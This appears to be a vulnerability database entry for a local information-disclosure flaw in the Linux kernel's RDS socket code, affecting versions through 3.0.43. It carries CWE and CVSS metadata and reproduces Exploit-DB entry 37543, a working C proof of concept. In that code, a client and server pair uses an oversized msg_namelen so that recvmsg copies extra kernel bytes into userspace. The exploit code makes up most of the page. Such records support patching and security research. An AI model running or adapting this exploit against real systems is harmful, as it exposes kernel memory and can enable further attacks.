Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-200 |
Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
2.1 |
|
AV:L/AC:L/Au:N/C:P/I:N/A:N |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 37543
Publication date : 2012-07-25 22h00 +00:00
Author : Jay Fenlason
EDB Verified : Yes
/*
source: https://www.securityfocus.com/bid/54702/info
The Linux kernel is prone to a local information-disclosure vulnerability.
Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks.
*/
/***************** rds_client.c ********************/
int main(void)
{
int sock_fd;
struct sockaddr_in serverAddr;
struct sockaddr_in toAddr;
char recvBuffer[128] = "data from client";
struct msghdr msg;
struct iovec iov;
sock_fd = socket(AF_RDS, SOCK_SEQPACKET, 0);
if (sock_fd < 0) {
perror("create socket error\n");
exit(1);
}
memset(&serverAddr, 0, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
serverAddr.sin_port = htons(4001);
if (bind(sock_fd, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) < 0) {
perror("bind() error\n");
close(sock_fd);
exit(1);
}
memset(&toAddr, 0, sizeof(toAddr));
toAddr.sin_family = AF_INET;
toAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
toAddr.sin_port = htons(4000);
msg.msg_name = &toAddr;
msg.msg_namelen = sizeof(toAddr);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_iov->iov_base = recvBuffer;
msg.msg_iov->iov_len = strlen(recvBuffer) + 1;
msg.msg_control = 0;
msg.msg_controllen = 0;
msg.msg_flags = 0;
if (sendmsg(sock_fd, &msg, 0) == -1) {
perror("sendto() error\n");
close(sock_fd);
exit(1);
}
printf("client send data:%s\n", recvBuffer);
memset(recvBuffer, '\0', 128);
msg.msg_name = &toAddr;
msg.msg_namelen = sizeof(toAddr);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_iov->iov_base = recvBuffer;
msg.msg_iov->iov_len = 128;
msg.msg_control = 0;
msg.msg_controllen = 0;
msg.msg_flags = 0;
if (recvmsg(sock_fd, &msg, 0) == -1) {
perror("recvmsg() error\n");
close(sock_fd);
exit(1);
}
printf("receive data from server:%s\n", recvBuffer);
close(sock_fd);
return 0;
}
/***************** rds_server.c ********************/
int main(void)
{
struct sockaddr_in fromAddr;
int sock_fd;
struct sockaddr_in serverAddr;
unsigned int addrLen;
char recvBuffer[128];
struct msghdr msg;
struct iovec iov;
sock_fd = socket(AF_RDS, SOCK_SEQPACKET, 0);
if(sock_fd < 0) {
perror("create socket error\n");
exit(0);
}
memset(&serverAddr, 0, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
serverAddr.sin_port = htons(4000);
if (bind(sock_fd, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) < 0) {
perror("bind error\n");
close(sock_fd);
exit(1);
}
printf("server is waiting to receive data...\n");
msg.msg_name = &fromAddr;
/*
* I add 16 to sizeof(fromAddr), ie 32,
* and pay attention to the definition of fromAddr,
* recvmsg() will overwrite sock_fd,
* since kernel will copy 32 bytes to userspace.
*
* If you just use sizeof(fromAddr), it works fine.
* */
msg.msg_namelen = sizeof(fromAddr) + 16;
/* msg.msg_namelen = sizeof(fromAddr); */
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_iov->iov_base = recvBuffer;
msg.msg_iov->iov_len = 128;
msg.msg_control = 0;
msg.msg_controllen = 0;
msg.msg_flags = 0;
while (1) {
printf("old socket fd=%d\n", sock_fd);
if (recvmsg(sock_fd, &msg, 0) == -1) {
perror("recvmsg() error\n");
close(sock_fd);
exit(1);
}
printf("server received data from client:%s\n", recvBuffer);
printf("msg.msg_namelen=%d\n", msg.msg_namelen);
printf("new socket fd=%d\n", sock_fd);
strcat(recvBuffer, "--data from server");
if (sendmsg(sock_fd, &msg, 0) == -1) {
perror("sendmsg()\n");
close(sock_fd);
exit(1);
}
}
close(sock_fd);
return 0;
}
Products Mentioned
Configuraton 0
Linux>>Linux_kernel >> Version To (including) 3.0.43
Linux>>Linux_kernel >> Version 3.0.1
Linux>>Linux_kernel >> Version 3.0.2
Linux>>Linux_kernel >> Version 3.0.3
Linux>>Linux_kernel >> Version 3.0.4
Linux>>Linux_kernel >> Version 3.0.5
Linux>>Linux_kernel >> Version 3.0.6
Linux>>Linux_kernel >> Version 3.0.7
Linux>>Linux_kernel >> Version 3.0.8
Linux>>Linux_kernel >> Version 3.0.9
Linux>>Linux_kernel >> Version 3.0.10
Linux>>Linux_kernel >> Version 3.0.11
Linux>>Linux_kernel >> Version 3.0.12
Linux>>Linux_kernel >> Version 3.0.13
Linux>>Linux_kernel >> Version 3.0.14
Linux>>Linux_kernel >> Version 3.0.15
Linux>>Linux_kernel >> Version 3.0.16
Linux>>Linux_kernel >> Version 3.0.17
Linux>>Linux_kernel >> Version 3.0.18
Linux>>Linux_kernel >> Version 3.0.19
Linux>>Linux_kernel >> Version 3.0.20
Linux>>Linux_kernel >> Version 3.0.21
Linux>>Linux_kernel >> Version 3.0.22
Linux>>Linux_kernel >> Version 3.0.23
Linux>>Linux_kernel >> Version 3.0.24
Linux>>Linux_kernel >> Version 3.0.25
Linux>>Linux_kernel >> Version 3.0.26
Linux>>Linux_kernel >> Version 3.0.27
Linux>>Linux_kernel >> Version 3.0.28
Linux>>Linux_kernel >> Version 3.0.29
Linux>>Linux_kernel >> Version 3.0.30
Linux>>Linux_kernel >> Version 3.0.31
Linux>>Linux_kernel >> Version 3.0.32
Linux>>Linux_kernel >> Version 3.0.33
Linux>>Linux_kernel >> Version 3.0.34
Linux>>Linux_kernel >> Version 3.0.35
Linux>>Linux_kernel >> Version 3.0.36
Linux>>Linux_kernel >> Version 3.0.37
Linux>>Linux_kernel >> Version 3.0.38
Linux>>Linux_kernel >> Version 3.0.39
Linux>>Linux_kernel >> Version 3.0.40
Linux>>Linux_kernel >> Version 3.0.41
Linux>>Linux_kernel >> Version 3.0.42
References